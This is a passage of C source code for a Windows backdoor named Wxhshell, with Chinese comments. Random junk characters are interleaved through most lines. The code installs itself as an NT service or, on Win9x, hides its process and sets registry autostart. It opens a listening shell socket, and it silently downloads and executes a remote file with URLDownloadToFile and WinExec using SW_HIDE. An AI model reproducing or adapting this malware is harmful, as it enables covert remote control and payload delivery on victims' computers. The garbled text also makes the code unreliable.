5ES hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?n`m if(hProcess==NULL) return 0; ^[xcfTN hTX[W%K HMODULE hMod; noxJr/A] char procName[255]; \Mg_Q$ unsigned long cbNeeded; 8@m$(I+ "=Br&FN{| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4f[%Bb ~V8z%s@ CloseHandle(hProcess); Q6qW?*Y lA5Dag' if(strstr(procName,"services")) return 1; // 以服务启动 H`CID*Ji ;|5-{+2 U% return 0; // 注册表启动 5[
zN M } *H
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D(ww // 主模块 13X}pnW int StartWxhshell(LPSTR lpCmdLine) Jp=fLo 9 { `pfIgryns SOCKET wsl; t@qf/1 BOOL val=TRUE; FOXSs8"c]! int port=0; 1#A$&'&\J; struct sockaddr_in door; ]c/E7|0Q pmNy=ZXx if(wscfg.ws_autoins) Install(); al9wNtMT ?R)]D:` port=atoi(lpCmdLine); l^lb ^"o xqG<R5k>> if(port<=0) port=wscfg.ws_port; 32YbBGDN!f &zEQbHK6 WSADATA data; l[/`kK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jW'YQrj{<Y u.GnXuax if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; UHZuH?|@ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w 9dkJo door.sin_family = AF_INET; .e~"+Pe6b door.sin_addr.s_addr = inet_addr("127.0.0.1"); o!M8V ^vW door.sin_port = htons(port); 3_ \R#SoOd if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3Qy@^" closesocket(wsl); a`!Jq' return 1; %_OjmXOfe } Qm%PpQ^Lz3 T}#iXgyx if(listen(wsl,2) == INVALID_SOCKET) { f<YYo closesocket(wsl); b[74$W{ return 1; Pxlc RF } 0pZvW Wxhshell(wsl); Pyo|Sgk WSACleanup(); \2\{c1df 1MN! return 0; bv+u7B6, JVc{vSa!rm } Xh9QfT , 2cMCZuO // 以NT服务方式启动 4zoQe>v~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RzEzNV { 3!CUJs/W DWORD status = 0; ;*(-8R/ DWORD specificError = 0xfffffff; ,d#*i MEDh serviceStatus.dwServiceType = SERVICE_WIN32; 51|ky- serviceStatus.dwCurrentState = SERVICE_START_PENDING; T c WCr serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &hOz(825r serviceStatus.dwWin32ExitCode = 0; I?e5h@uE serviceStatus.dwServiceSpecificExitCode = 0; }3(!kW serviceStatus.dwCheckPoint = 0; d][
Wm serviceStatus.dwWaitHint = 0; @62T:Vl 8x{Owj:Q hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ">H*InF if (hServiceStatusHandle==0) return; 2\xw2VQ@P WZ CI*' status = GetLastError(); t-\+t<; if (status!=NO_ERROR) g) X3:=[' { B8@mL-Z-; serviceStatus.dwCurrentState = SERVICE_STOPPED; ^? fOccfQ{ serviceStatus.dwCheckPoint = 0; fUT[tkb/! serviceStatus.dwWaitHint = 0; cn'>dz3v serviceStatus.dwWin32ExitCode = status; :#rP$LSYC serviceStatus.dwServiceSpecificExitCode = specificError; 1Viz`y)^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); pj>R9zpn_ return; R<|\Z@z } aacy5E 78&|^sq serviceStatus.dwCurrentState = SERVICE_RUNNING; AxEyXT( h5 serviceStatus.dwCheckPoint = 0; )jM%bUk,! serviceStatus.dwWaitHint = 0; [M|^e;tWK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3jx%]S^z| } ,Z`}!%? +3v)@18B1 // 处理NT服务事件,比如:启动、停止 ^m\o(R VOID WINAPI NTServiceHandler(DWORD fdwControl) RT[p!xL { o@meogkL switch(fdwControl) ]J7qsMw { i)i>Ulj*i case SERVICE_CONTROL_STOP: "zEl2Xn28_ serviceStatus.dwWin32ExitCode = 0; $WA wMS, serviceStatus.dwCurrentState = SERVICE_STOPPED; RY-iFydPc serviceStatus.dwCheckPoint = 0; N`8K1{>BH serviceStatus.dwWaitHint = 0; C=?S { 0z8(9DlTc SetServiceStatus(hServiceStatusHandle, &serviceStatus); egoR])2> } 'xW=qboOp return; .3
EZk86 case SERVICE_CONTROL_PAUSE: MO`Y&<g~A serviceStatus.dwCurrentState = SERVICE_PAUSED; "j>X^vn break; %cF`x_h[j case SERVICE_CONTROL_CONTINUE: Y=S0|!u serviceStatus.dwCurrentState = SERVICE_RUNNING; DE(XSzX break; j7I=2xnTWu case SERVICE_CONTROL_INTERROGATE: E7uIur=g! break; }\a#e^-xQ+ }; PRhC1# SetServiceStatus(hServiceStatusHandle, &serviceStatus); I%T+H[, } [ 8Ohg -&/?&{Q0 // 标准应用程序主函数 pc`P;Eui int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f:;-ZkIU ? { dX[I
:,z* w2LnY1A // 获取操作系统版本 bZowc {!\ OsIsNt=GetOsVer(); Fis!MMh.$ GetModuleFileName(NULL,ExeFile,MAX_PATH); F`D$bE;| u8f\)m // 从命令行安装 *C*J1JYp+ if(strpbrk(lpCmdLine,"iI")) Install(); %ZVYgtk;* KzHN|8$o // 下载执行文件 g]~vZj if(wscfg.ws_downexe) { j0l,1=^>l if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !6/UwPs WinExec(wscfg.ws_filenam,SW_HIDE); i/>k_mG$d } ?9 huuJs7 u>>|ZPe if(!OsIsNt) { h.<f%&)F // 如果时win9x,隐藏进程并且设置为注册表启动 0]d;)_`@ HideProc(); "Q: Gd6?h; StartWxhshell(lpCmdLine); a;o0#I#Si } t{})6 else I;4quFBlMu if(StartFromService()) EX)&|2w
// 以服务方式启动 P1F-Wy1 StartServiceCtrlDispatcher(DispatchTable); geQ!}zXWi else 8h]
TI_ // 普通方式启动 J/]%zwDwS StartWxhshell(lpCmdLine); 1W|jC z}vT8qoX return 0; g->*@%?<w> }
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